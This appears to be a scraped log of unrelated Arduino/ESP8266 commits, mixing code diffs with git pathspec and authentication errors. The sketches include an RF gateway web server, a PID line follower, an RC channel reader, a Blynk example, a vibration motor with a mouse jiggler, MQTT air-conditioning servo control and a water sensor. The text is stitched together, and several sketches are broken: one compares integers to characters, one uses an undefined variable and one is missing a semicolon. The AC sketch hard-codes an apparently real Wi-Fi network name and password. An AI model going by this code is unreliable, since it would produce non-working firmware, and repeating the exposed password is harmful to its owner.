Create GatewayRF3.ino

Create GatewayRF3.ino

error: pathspec 'GatewayRF3.ino' did not match any file(s) known to git

--- GatewayRF3.ino
+++ GatewayRF3.ino
@@ -0,0 +1,122 @@
+#include <ESP8266WiFi.h>
+#include <WiFiClient.h>
+#include <ESP8266WiFiMulti.h>
+#include <ESP8266mDNS.h>
+#include <ESP8266WebServer.h>   // Include the WebServer library
+
+
+
+#define SERVER_PORT 80
+const int pulse = 360; //μs
+#define UP6_SIZE 67
+int up6[67] = {1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0};
+#define pin 3  //GPIO3 = RX pin
+#define NUM_ATTEMPTS 3
+char header[10];
+#define TRACE 1  // 0= trace off 1 = trace on Do we want to see trace for debugging purposes
+void trc(String msg);              // function prototypes
+void transmit_code(int code[]);
+
+
+
+ESP8266WiFiMulti wifiMulti;     // Create an instance of the ESP8266WiFiMulti class, called 'wifiMulti'
+
+ESP8266WebServer server(80);    // Create a webserver object that listens for HTTP request on port 80
+
+void handleRoot(String uri);    // function prototypes for HTTP handlers
+void handleNotFound();
+
+void setup(void){
+  Serial.begin(115200);         // Start the Serial communication to send messages to the computer
+  delay(10);
+  Serial.println('\n');
+
+  wifiMulti.addAP("ssid_from_AP_1", "your_password_for_AP_1");   // add Wi-Fi networks you want to connect to
+  wifiMulti.addAP("ssid_from_AP_2", "your_password_for_AP_2");
+  wifiMulti.addAP("ssid_from_AP_3", "your_password_for_AP_3");
+
+  Serial.println("Connecting ...");
+  int i = 0;
+  while (wifiMulti.run() != WL_CONNECTED) { // Wait for the Wi-Fi to connect: scan for Wi-Fi networks, and connect to the strongest of the networks above
+    delay(250);
+    Serial.print('.');
+  }
+  Serial.println('\n');
+  Serial.print("Connected to ");
+  Serial.println(WiFi.SSID());              // Tell us what network we're connected to
+  Serial.print("IP address:\t");
+  Serial.println(WiFi.localIP());           // Send the IP address of the ESP8266 to the computer
+
+  if (MDNS.begin("esp8266")) {              // Start the mDNS responder for esp8266.local
+    Serial.println("mDNS responder started");
+  } else {
+    Serial.println("Error setting up MDNS responder!");
+  }
+
+  server.on("/",HTTP_GET, handleRoot(server.uri());         // Call the 'handleRoot' function when a client requests URI "/"
+  server.onNotFound(handleNotFound);        // When a client requests an unknown URI (i.e. something other than "/"), call function "handleNotFound"
+
+  server.begin();                           // Actually start the server
+  Serial.println("HTTP server started");
+}
+
+void loop(void){
+  server.handleClient();                    // Listen for HTTP requests from clients
+}
+
+
+// trace function
+void trc(String msg){if (TRACE) { Serial.println(msg); } }
+
+
+void transmit_code(int code[]){
+  for (int i = 0; i < NUM_ATTEMPTS; i++) {
+      // ----------------------- Preamble ----------------------
+      trc("transmit preamble");
+      digitalWrite(pin, LOW);
+      delay(3000);  // sleep for 0,3 seconds
+      for (int i = 0; i < 12; i++) {
+        digitalWrite(pin, HIGH);
+        delayMicroseconds(pulse);
+        digitalWrite(pin, LOW);
+        delayMicroseconds(pulse);
+      }
+     // ---------------------- End Preamble --------------------
+     // -----------------------Segnal --------------------------
+      trc("transmit segnal");
+      digitalWrite(pin, LOW);
+      delayMicroseconds(3500); // added 3,5 millis
+      int c=0;
+      for (c=0;c<UP6_SIZE;c++) {
+         if (code[c] == '1'){
+             digitalWrite(pin, HIGH);
+             delayMicroseconds(pulse);
+             digitalWrite(pin, LOW);
+             delayMicroseconds(pulse*2);
+         }
+         else if (code[c] == '0'){
+             digitalWrite(pin, HIGH);
+             delayMicroseconds(pulse*2);
+             digitalWrite(pin, LOW);
+             delayMicroseconds(pulse);
+         }
+         else
+         {
+            digitalWrite(pin, LOW);
+            delayMicroseconds(3000); // added 3 millis
+         }
+    // ---------------------End Segnal --------------------------
+    }
+    yield();
+    delay(2000); // added 2 millis
+ }
+}
+
+
+void handleRoot(String uri) {server.send(200, "text/html", "
 Gateway Rf

uri
 ");
+                   transmit_code(up6);
+                   }
+
+void handleNotFound(){
+  server.send(404, "text/plain", "404: Not found"); // Send HTTP status 404 (Not Found) when there's no handler for the URI in the request
+}


Removed MACROS

Removed MACROS

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/RichoM/Uzi.git/'


pulled rainbow strip code, merged, added beam steam

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/stewartadam/lulzsaber.git/'


Agregado un POC de generic read sensor

Agregado un POC de generic read sensor

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/nverdicchio/soa-2017-bicicleta-inteligente.git/'


added pid file

added pid file

--- pid.ino
+++ pid.ino
@@ -0,0 +1,61 @@
+#include "DCMotors.h"
+#include "Sensor.h"
+
+
+DCMotors<10,18,19,11,14,15> motors; //enL, L1, L2, enR, R1, R2
+Sensor<2,3,4,5,6,7,8,9> sensors;
+
+float Kp=0, Ki=0,Kd=0;
+float error=0, P=0, I=0, D=0, PID_value=0;
+float previous_error=0, previous_I=0;
+int sensor[8]={0, 0, 0, 0, 0, 0, 0, 0};
+
+void read_sensor_values(void);
+void calculate_pid(void);
+void motor_control(void);
+
+void setup() {
+  // put your setup code here, to run once:
+
+  Serial.begin(9600);
+
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+
+    sensors.updateError;
+    calculate_pid();
+    motor_control();
+
+}
+
+
+void calculate_pid()
+{
+    error = sensors.error;
+    P = error;
+    I = I + error;
+    D = error - previous_error;
+
+    PID_value = (Kp*P) + (Ki*I) + (Kd*D);
+
+    previous_error=error;
+}
+
+void motor_control()
+{
+    int left_motor_speed = initial_motor_speed-PID_value;
+    int right_motor_speed = initial_motor_speed+PID_value;
+
+    constrain(left_motor_speed,0,255);
+    constrain(right_motor_speed,0,255);
+
+    analogWrite(9,left_motor_speed);   //Left Motor Speed
+    analogWrite(10,right_motor_speed);  //Right Motor Speed
+
+    digitalWrite(4,HIGH);
+    digitalWrite(5,LOW);
+    digitalWrite(6,LOW);
+    digitalWrite(7,HIGH);
+}


Mudança de status para a porta

Mudança de status para a porta

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jvenancio/MayIGoTTB.git/'


new code to test all RC channels

new code to test all RC channels

error: pathspec 'arduino/src/T-80AFLAME/rc_radio/rc_radio.ino' did not match any file(s) known to git

--- arduino/src/T-80AFLAME/rc_radio/rc_radio.ino
+++ arduino/src/T-80AFLAME/rc_radio/rc_radio.ino
@@ -0,0 +1,231 @@
+#include <PinChangeInt.h>
+
+// Variable to read channel values into
+int channels[6];
+
+// Define RC channels pin numbers
+#define RC_THROTTLE      2
+#define RC_ROLL          4
+#define RC_PITCH         7
+#define RC_YAW           8
+#define RC_PIN5         12
+#define RC_PIN6         13
+
+// These bit flags are set in bUpdateFlagsShared to indicate which
+// channels have new signals
+#define THROTTLE_FLAG   1
+#define ROLL_FLAG       2
+#define PITCH_FLAG      4
+#define YAW_FLAG        8
+#define PIN5_FLAG      12
+#define PIN6_FLAG      14
+
+// Volatile global variables
+volatile uint8_t bUpdateFlagsShared;
+volatile uint16_t unThrottleInShared, unYawInShared, unPitchInShared, unRollInShared, unPin5InShared, unPin6InShared;
+
+uint32_t ulThrottleStart, ulYawStart, ulPitchStart, ulRollStart, ulPin5Start, ulPin6Start;
+
+
+// ===== RC Interrupt functions =================================================
+// simple interrupt service routine
+void calcThrottle()
+{
+  if(digitalRead(RC_THROTTLE) == HIGH)
+  {
+    ulThrottleStart = micros();
+  }
+  else
+  {
+    unThrottleInShared = (uint16_t)(micros() - ulThrottleStart);
+    bUpdateFlagsShared |= THROTTLE_FLAG;
+  }
+}
+
+
+void calcYaw()
+{
+  if(digitalRead(RC_YAW) == HIGH)
+  {
+    ulYawStart = micros();
+  }
+  else
+  {
+    unYawInShared = (uint16_t)(micros() - ulYawStart);
+    bUpdateFlagsShared |= YAW_FLAG;
+  }
+}
+
+void calcPitch()
+{
+  if(digitalRead(RC_PITCH) == HIGH)
+  {
+    ulPitchStart = micros();
+  }
+  else
+  {
+    unPitchInShared = (uint16_t)(micros() - ulPitchStart);
+    bUpdateFlagsShared |= PITCH_FLAG;
+  }
+}
+
+
+void calcRoll()
+{
+  if(digitalRead(RC_ROLL) == HIGH)
+  {
+    ulRollStart = micros();
+  }
+  else
+  {
+    unRollInShared = (uint16_t)(micros() - ulRollStart);
+    bUpdateFlagsShared |= ROLL_FLAG;
+  }
+}
+
+void calcPin5()
+{
+  if(digitalRead(RC_PIN5) == HIGH)
+  {
+    ulPin5Start = micros();
+  }
+  else
+  {
+    unPin5InShared = (uint16_t)(micros() - ulPin5Start);
+    bUpdateFlagsShared |= PIN5_FLAG;
+  }
+}
+
+void calcPin6()
+{
+  if(digitalRead(RC_PIN6) == HIGH)
+  {
+    ulPin6Start = micros();
+  }
+  else
+  {
+    unPin6InShared = (uint16_t)(micros() - ulPin6Start);
+    bUpdateFlagsShared |= PIN6_FLAG;
+  }
+}
+
+void read(int channels[]) {
+  // local copy of channel inputs
+  static uint16_t unThrottleIn, unYawIn, unPitchIn, unRollIn, unPin5In, unPin6In;
+
+  // local copy of update flags
+  static uint8_t bUpdateFlags;
+
+  // check shared update flags to  see if any channels have a new signal
+  if(bUpdateFlagsShared)
+  {
+    noInterrupts(); // turn interrupts off quickly while we take local copies of the shared variables
+
+    // take a local copy of which channels were updated in case we need to use this in the rest of loop
+    bUpdateFlags = bUpdateFlagsShared;
+
+    if(bUpdateFlags & THROTTLE_FLAG)
+    {
+      unThrottleIn = unThrottleInShared;
+    }
+
+    if(bUpdateFlags & YAW_FLAG)
+    {
+      unYawIn = unYawInShared;
+    }
+
+    if(bUpdateFlags & PITCH_FLAG)
+    {
+      unPitchIn = unPitchInShared;
+    }
+
+    if(bUpdateFlags & ROLL_FLAG)
+    {
+      unRollIn = unRollInShared;
+    }
+
+    if(bUpdateFlags & PIN5_FLAG)
+    {
+      unPin5In = unPin5InShared;
+    }
+
+    if(bUpdateFlags & PIN6_FLAG)
+    {
+      unPin6In = unPin6InShared;
+    }
+
+    bUpdateFlagsShared = 0;
+
+    interrupts();
+  }
+
+  if(bUpdateFlags & THROTTLE_FLAG)
+  {
+    channels[0] = unThrottleIn;
+  }
+
+  if(bUpdateFlags & ROLL_FLAG)
+  {
+    channels[1] = unRollIn;
+  }
+
+  if(bUpdateFlags & PITCH_FLAG)
+  {
+    channels[2] = unPitchIn;
+  }
+
+  if(bUpdateFlags & YAW_FLAG)
+  {
+    channels[3] = unYawIn;
+  }
+
+  if(bUpdateFlags & PIN5_FLAG)
+  {
+    channels[4] = unPin5In;
+  }
+
+  if(bUpdateFlags & PIN6_FLAG)
+  {
+    channels[5] = unPin6In;
+  }
+
+  bUpdateFlags = 0;
+
+}
+
+
+void setup() {
+  // Setup Serial port
+  Serial.begin(115200);
+
+  // Attach pin interrupt to RC channels
+  PCintPort::attachInterrupt(RC_THROTTLE,calcThrottle,CHANGE);
+  PCintPort::attachInterrupt(RC_ROLL,calcRoll,CHANGE);
+  PCintPort::attachInterrupt(RC_PITCH,calcPitch,CHANGE);
+  PCintPort::attachInterrupt(RC_YAW,calcYaw,CHANGE);
+  PCintPort::attachInterrupt(RC_PIN5,calcPin5,CHANGE);
+  PCintPort::attachInterrupt(RC_PIN6,calcPin6,CHANGE);
+}
+
+void loop() {
+  // Get values from 4 RC channels (Throttle, Yaw, Pitch and Roll)
+  read(channels);
+
+  Serial.println("Throttle:");
+  Serial.println(channels[0]);
+
+  Serial.println("Roll:");
+  Serial.println(channels[1]);
+
+  Serial.println("Pitch:");
+  Serial.println(channels[2]);
+
+  Serial.println("Yaw:");
+  Serial.println(channels[3]);
+
+  Serial.println("Pin5:");
+  Serial.println(channels[4]);
+
+  Serial.println("Pin6:");
+  Serial.println(channels[5]);
+}


Update line-following_withQTR.ino

Update line-following_withQTR.ino

error: pathspec 'code' did not match any file(s) known to git
error: pathspec 'dump/line-following_withQTR.ino' did not match any file(s) known to git


Final version arduino door source

Final version arduino door source

Bugfixes
Made code more elegant

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/tdmike/EmergingTechnologies.git/'


#155 eventor basic sketch

#155 eventor basic sketch

error: pathspec 'examples/Widgets/Eventor/Eventor.ino' did not match any file(s) known to git

--- examples/Widgets/Eventor/Eventor.ino
+++ examples/Widgets/Eventor/Eventor.ino
@@ -0,0 +1,70 @@
+/**************************************************************
+ * Blynk is a platform with iOS and Android apps to control
+ * Arduino, Raspberry Pi and the likes over the Internet.
+ * You can easily build graphic interfaces for all your
+ * projects by simply dragging and dropping widgets.
+ *
+ *   Downloads, docs, tutorials: http://www.blynk.cc
+ *   Blynk community:            http://community.blynk.cc
+ *   Social networks:            http://www.fb.com/blynkapp
+ *                               http://twitter.com/blynk_app
+ *
+ * Blynk library is licensed under MIT license
+ * This example code is in public domain.
+ *
+ **************************************************************
+ * You can use predefined rules on application side.
+ *
+ * Project setup in the Blynk app:
+ *   Eventor widget with next rules :
+ *     a) When V0 is equal to 1, set V1 to 255;
+       b) When V0 is equal to 0, set V1 to 0;
+ *   Led widget on V1 pin
+ *
+ **************************************************************/
+
+#define BLYNK_PRINT Serial
+#include <SPI.h>
+#include <Ethernet.h>
+#include <BlynkSimpleEthernet.h>
+#include <SimpleTimer.h>
+
+// You should get Auth Token in the Blynk App.
+// Go to the Project Settings (nut icon).
+char auth[] = "YourAuthToken";
+
+SimpleTimer timer;
+boolean flag = true;
+
+void sendFlagToServer() {
+  if (flag) {
+     Blynk.virtualWrite(V0, 1);
+  } else {
+     Blynk.virtualWrite(V0, 0);
+  }
+  flag = !flag;
+}
+
+void setup()
+{
+  Serial.begin(9600); // See the connection status in Serial Monitor
+  Blynk.begin(auth, IPAddress(192,168,0,53));
+
+  while (Blynk.connect() == false) {
+    // Wait until connected
+  }
+
+  // Setup a function to be called every second
+  timer.setInterval(1000L, sendFlagToServer);
+}
+
+BLYNK_WRITE(V1) {
+   //here you'll get 0 or 255
+   int ledValue = param.asInt();
+}
+
+void loop()
+{
+  Blynk.run();
+  timer.run();
+}


USB接続振動モータ

USB接続振動モータ

--- usbvibration/usbvibration.ino
+++ usbvibration/usbvibration.ino
@@ -0,0 +1,91 @@
+// https://github.com/thomasfredericks/Metro-Arduino-Wiring
+#include <Metro.h>
+
+const int MOTORPIN = 2;
+
+Metro blink = Metro(400);
+bool isVibrationOn = false;
+bool isMotorOn = false;
+uint32_t now;
+
+void onMotor(void)
+{
+    digitalWrite(MOTORPIN, HIGH);
+    isMotorOn = true;
+}
+
+void offMotor(void)
+{
+    digitalWrite(MOTORPIN, LOW);
+    isMotorOn = false;
+}
+
+void beginVibration(void)
+{
+    blink.reset();
+    isVibrationOn = true;
+}
+
+void endVibration(void)
+{
+    offMotor();
+    isVibrationOn = false;
+}
+
+void vibrationLoop(void)
+{
+    if (!isVibrationOn) {
+        return;
+    }
+    if (blink.check()) {
+        if (isMotorOn) {
+            offMotor();
+        } else {
+            onMotor();
+        }
+    }
+}
+
+void parseMessage(char letter)
+{
+    switch (letter) {
+    case 'v':
+        beginVibration();
+        break;
+    case 'V':
+        endVibration();
+        break;
+    default:
+        break;
+    }
+}
+
+void setup()
+{
+    Serial.begin(115200);
+    Mouse.begin();
+    pinMode(MOTORPIN, OUTPUT);
+}
+
+static void mouseLoop()
+{
+    // move mouse to avoid screen saver
+    static uint32_t mprevms = 0;
+    const uint32_t PCLOCKMS = 540000; // 9 [min]
+    if (now - mprevms > PCLOCKMS) {
+        mprevms = now;
+        Mouse.move(1, 0, 0);
+        //Serial.write("M");
+    }
+}
+
+void loop()
+{
+    now = millis();
+    vibrationLoop();
+    mouseLoop();
+    while (Serial.available()) {
+        char letter = Serial.read();
+        parseMessage(letter);
+    }
+}


Adding text

Adding text

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Omemanti/MantiOT.git/'


initial ESP AC control

initial ESP AC control

error: pathspec 'examples/AirCControl/AirCControl.ino' did not match any file(s) known to git

--- examples/AirCControl/AirCControl.ino
+++ examples/AirCControl/AirCControl.ino
@@ -0,0 +1,289 @@
+
+
+#include <pthread.h>
+
+#include "MqttConnection.h"
+
+
+MqttConnection * myMqtt;
+
+
+
+
+/************************* WiFi Access Point *********************************/
+
+#define WLAN_SSID       "SFR_34A8"
+#define WLAN_PASS       "ab4ingrograstanstorc"
+
+#define SENSOR_ID "AC"
+
+
+#define SERVO1_TURNL_PIN        D1
+#define SERVO1_TURNR_PIN        D2
+#define SERVO2_TURNL_PIN        D1
+#define SERVO2_TURNR_PIN        D2
+#define SERVO3_TURNL_PIN        D1
+#define SERVO3_TURNR_PIN        D2
+#define SERVO4_TURNL_PIN        D1
+#define SERVO4_TURNR_PIN        D2
+
+#define SERVO_MASTER1_TURNL_PIN        D1
+#define SERVO_MASTER1_TURNR_PIN        D2
+#define SERVO_MASTER1_TURNL_PIN        D1
+#define SERVO_MASTER1_TURNR_PIN        D2
+#define SERVO_MASTER1_TURNL_PIN        D1
+#define SERVO_MASTER1_TURNR_PIN        D2
+
+#define SERVO_CHAMBRE1  0
+#define SERVO_CHAMBRE2  1
+#define SERVO_CHAMBRE3  2
+#define SERVO_DREAMROOM 3
+#define SERVO_ETAGE     4
+#define SERVO_SALON     5
+#define SERVO_MASTER2   6
+
+
+#define AERO_IDLE             "1"
+#define AERO_CONFIG_ONGOING   "2"
+#define AERO_CONFIGURED       "3"
+
+#define NB_SERVO  7
+
+String ID_TO_ROOM[NB_SERVO];
+
+bool servoRunning[NB_SERVO];
+int positionArray[NB_SERVO];
+int positionTargetArray[NB_SERVO];
+int positionLoopCounter[NB_SERVO];
+
+
+#define ONE_DEGREE_COUNTER 10
+
+#define LOOP_PERIOD 10
+unsigned long time_now = 0;
+
+/************************* MQTT *********************************/
+
+#define MQTT_SERVER  "192.168.1.27"
+#define MQTT_PORT 1883
+
+
+int loopCounter = 0;
+bool bootComplete = false;
+bool endOfConfigRequestedFromHost = false;
+
+void processACMsg(char* topic, byte* payload, unsigned int length)
+{
+
+ Serial.println("Received custom command");
+ String strPayload = "";
+ for (int i = 0; i < length; i++)
+ {
+     strPayload += (char)payload[i];
+ }
+
+
+  if(String(topic) == "AC/ESP/SERVO/RUN_ALL"){
+        int servoId = (char)payload[0];
+		    Serial.println("Received SERVO RUN ALL ");
+        endOfConfigRequestedFromHost = true;
+
+
+  }
+  else if(String(topic) == "AC/ESP/SERVO/RESET"){
+        Serial.println("Received SERVO RESET !!!!!!!!!!!!!!!!!!");
+
+        initPositions(); //is it really needed to wait for end of all closures?
+
+        delay(4000);
+        myMqtt->publishValue("ESP/INIT_DONE", "1");
+  }
+  else if(String(topic) == "AC/ESP/PING")
+  {
+      Serial.println("Ping received.replying");
+      myMqtt->publishValue("ESP/PONG", "1");
+  }
+   else if(String(topic) == "AC/ESP/SERVO/CHAMBRE1/ANGLE"){ Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_CHAMBRE1] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE1] = true;}
+   else if(String(topic) == "AC/ESP/SERVO/CHAMBRE2/ANGLE"){ Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_CHAMBRE2] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE2] = true;}
+   else if(String(topic) == "AC/ESP/SERVO/CHAMBRE3/ANGLE"){ Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_CHAMBRE3] = atoi(strPayload.c_str()); servoRunning[SERVO_CHAMBRE3] = true;}
+   else if(String(topic) == "AC/ESP/SERVO/DREAMROOM/ANGLE"){Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_DREAMROOM] = atoi(strPayload.c_str());servoRunning[SERVO_DREAMROOM] = true;}
+   else if(String(topic) == "AC/ESP/SERVO/ETAGE/ANGLE"){    Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_ETAGE] = atoi(strPayload.c_str());    servoRunning[SERVO_ETAGE] = true;}
+   else if(String(topic) == "AC/ESP/SERVO/MASTER2/ANGLE"){  Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_MASTER2] = atoi(strPayload.c_str());  servoRunning[SERVO_MASTER2] = true;}
+	 else if(String(topic) == "AC/ESP/SERVO/SALON/ANGLE"){    Serial.print("Received Angle setting : "); Serial.println(atoi(strPayload.c_str())); positionTargetArray[SERVO_SALON] = atoi(strPayload.c_str());    servoRunning[SERVO_SALON] = true;}
+
+		 else {
+		    Serial.print("Unknown payload : ");
+			  Serial.println((char)payload[0]);
+		 }
+
+}
+
+
+void initPositions()
+{
+    for(int servoId = 0; servoId < NB_SERVO; servoId++)
+  {
+    positionArray[servoId] = 0;
+    positionTargetArray [servoId] = 0;
+    positionLoopCounter[servoId] = 0;
+    servoRunning[servoId] = false;
+    myMqtt->publishValue(String("ESP/SERVO/" + ID_TO_ROOM[servoId] + "/REAL_ANGLE").c_str(), "0");
+  }
+
+}
+
+
+void setup() {
+  Serial.begin(115200);
+  pinMode(SERVO1_TURNL_PIN, OUTPUT);
+  digitalWrite(SERVO1_TURNL_PIN, LOW);
+  pinMode(SERVO2_TURNL_PIN, OUTPUT);
+  digitalWrite(SERVO2_TURNL_PIN, LOW);
+
+  delay(10);
+
+  myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);
+  myMqtt->registerCustomProcessing(&processACMsg);
+  myMqtt->addSubscription("ESP/SERVO/CHAMBRE1/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/CHAMBRE2/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/CHAMBRE3/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/DREAMROOM/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/ETAGE/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/SALON/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/MASTER2/ANGLE");
+  myMqtt->addSubscription("ESP/SERVO/RUN_ALL");
+  myMqtt->addSubscription("ESP/SERVO/RESET");
+  myMqtt->addSubscription("ESP/PING");
+
+
+  ID_TO_ROOM[SERVO_CHAMBRE1]  = "CHAMBRE1";
+  ID_TO_ROOM[SERVO_CHAMBRE2]  = "CHAMBRE2";
+  ID_TO_ROOM[SERVO_CHAMBRE3]  = "CHAMBRE3";
+  ID_TO_ROOM[SERVO_DREAMROOM] = "DREAMROOM";
+  ID_TO_ROOM[SERVO_ETAGE]     = "ETAGE";
+  ID_TO_ROOM[SERVO_SALON]     = "SALON";
+  ID_TO_ROOM[SERVO_MASTER2]   = "MASTER2";
+
+
+}
+
+
+void switchAlarmLedOn(){
+
+  Serial.println("Switching Alarm LED ON");
+ // digitalWrite(ALARM_LED_RELAY_PIN, HIGH);
+
+}
+void switchAlarmLedOff(){
+
+  Serial.println("Switching Alarm LED OFF");
+ // digitalWrite(ALARM_LED_RELAY_PIN, LOW);
+
+}
+
+void turn(int servoId, bool turnRight)
+{
+    if(positionLoopCounter[servoId] < ONE_DEGREE_COUNTER)
+    {
+      positionLoopCounter[servoId]++;
+    }
+    else
+    {
+      positionLoopCounter[servoId] = 0;
+
+      if(turnRight)
+      {
+        positionArray[servoId] += 1;
+        Serial.print("TURN RIGHT : ");
+      }
+      else
+      {
+        positionArray[servoId] -= 1;
+        Serial.print("TURN LEFT : ");
+      }
+      Serial.print(servoId);
+      Serial.print("  : ");
+      Serial.println(positionArray[servoId]);
+      myMqtt->publishValue(String("ESP/SERVO/" + ID_TO_ROOM[servoId] + "/REAL_ANGLE").c_str(), String(positionArray[servoId]).c_str());
+    }
+}
+
+void turnOff(int servoId)
+{
+    positionLoopCounter[servoId] = 0;
+    servoRunning[servoId]=false;
+  //Serial.print("TURN OFF : ");
+    //Serial.println(servoId);
+}
+
+bool allServoConfigured()
+{
+    for(int servoId = 0; servoId < NB_SERVO; servoId++)
+  {
+    if(servoRunning[servoId])
+    {
+      return false;
+    }
+  }
+  return true;
+}
+
+void loop() {
+    time_now = millis();
+  // put your main code here, to run repeatedly:
+
+  if (!myMqtt->connected()) {
+    myMqtt->reconnect();
+  }
+  myMqtt->loop();
+
+    if(bootComplete == false)
+    {
+      initPositions();
+      bootComplete = true;
+    }
+
+  if(endOfConfigRequestedFromHost)
+  {
+     if(allServoConfigured())
+     {
+       endOfConfigRequestedFromHost = false;
+       myMqtt->publishValue("ESP/AERAULIC_STATE", AERO_CONFIGURED);
+
+     }
+  }
+
+  for(int servoId = 0; servoId < NB_SERVO; servoId++)
+  {
+    if(positionArray[servoId] < positionTargetArray[servoId])
+    {
+      turn(servoId, true);
+    }
+    else
+    {
+      if(positionArray[servoId] > positionTargetArray[servoId])
+      {
+        turn(servoId, false);
+      }
+      else
+      {
+        turnOff(servoId);
+      }
+    }
+
+
+
+  }
+
+  //delay(LOOP_DELAY);
+
+
+
+    //Serial.println("Hello");
+
+    while(millis() < time_now + LOOP_PERIOD){
+        //wait approx. [period] ms
+    }
+
+
+}


Add Arduino compatible Internet Of Bees sketch.

error: pathspec 'bees.ino' did not match any file(s) known to git

--- bees.ino
+++ bees.ino
@@ -0,0 +1,7 @@
+/* Arduino compatible Internet Of Bees - @kosso */
+void setup(){
+    Serial.begin(11520);
+}
+void loop(){
+    Serial.print("BEES ")
+}


Update auto_water.ino

Update auto_water.ino

making debug false by default

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/robreeves/robotany.git/'


Added example code the Grove Water Sensor.

error: pathspec 'things/examples/arduino/WaterSensor/WaterSensor.ino' did not match any file(s) known to git

--- things/examples/arduino/WaterSensor/WaterSensor.ino
+++ things/examples/arduino/WaterSensor/WaterSensor.ino
@@ -0,0 +1,136 @@
+#include <Dhcp.h>
+#include <Dns.h>
+#include <Ethernet.h>
+#include <EthernetClient.h>
+#include <EthernetServer.h>
+#include <EthernetUdp.h>
+#include <util.h>
+
+#include <SPI.h>
+
+int requestID = 1;
+unsigned long lastCallbackTime = 0;// the last time the data was written
+
+// The MAC address of your Ethernet board (or Ethernet Shield) is located on the back of the curcuit board.
+byte mac[] = { 0x0, 0xA2, 0xDA, 0x0D, 0x90, 0xE2 };  // Arduino Ethernet
+
+#define WATER_SENSOR 7
+
+char packetBuffer[512];
+
+PROGMEM prog_char *loopPacket1 = "{\"path\":\"/api/v1/thing/reporting\",\"requestID\":\"";
+PROGMEM prog_char *loopPacket2 = "\",\"things\":{\"/device/sensor/arduino/water\":{\"prototype\":{\"device\":{\"name\":\"Grove Water Sensor\",\"maker\":\"Seeed Studio\"},\"name\":\"true\",\"status\":[\"present\",\"absent\",\"recent\"],\"properties\":{\"water\":[\"present\",\"absent\"]}},\"instances\":[{\"name\":\"Water Sensor\",\"status\":\"present\",\"unit\":{\"serial\":\"";
+PROGMEM prog_char *loopPacket3 = "\",\"udn\":\"195a42b0-ef6b-11e2-99d0-";
+PROGMEM prog_char *loopPacket4 = "-water\"},\"info\":{\"water\":\"";
+PROGMEM prog_char *loopPacket5 = "\"},\"uptime\":\"";
+PROGMEM prog_char *loopPacket6 = "\"}]}}}";
+
+// All TSRP transmissions are via UDP to port 22601 on multicast address '224.192.32.19'.
+EthernetUDP udp;
+IPAddress ip(224,192,32,19);
+unsigned int port = 22601;
+
+void setup() {
+  pinMode(WATER_SENSOR, INPUT);
+
+  Serial.begin(9600);
+  Serial.println("Starting...");
+  while(!Serial) { }
+
+  Serial.println("Waiting for DHCP address.");
+  if (Ethernet.begin(mac) == 0) {
+    Serial.println("Error: Failed to configure Ethernet using DHCP");
+    while(1) {  }
+  }
+
+  Serial.print("MAC address: ");
+  for (byte thisByte = 0; thisByte < 6; thisByte++) {
+    Serial.print(mac[thisByte], HEX);
+    Serial.print(":");
+  }
+  Serial.println();
+
+  Serial.print("IP address: ");
+  for (byte thisByte = 0; thisByte < 4; thisByte++) {
+    Serial.print(Ethernet.localIP()[thisByte], DEC);
+    Serial.print(".");
+  }
+  Serial.println();
+
+  udp.beginMulti(ip,port);
+
+}
+
+void loop() {
+  int reading = digitalRead(WATER_SENSOR);
+
+  if( isExposedToWater() ) {
+     char buffer[12];
+     strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );
+     strcat(packetBuffer, itoa( requestID, buffer, 10) );
+     strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );
+     for (byte thisByte = 0; thisByte < 6; thisByte++) {
+       sprintf(buffer, "%x", mac[thisByte] );
+       strcat(packetBuffer, buffer);
+     }
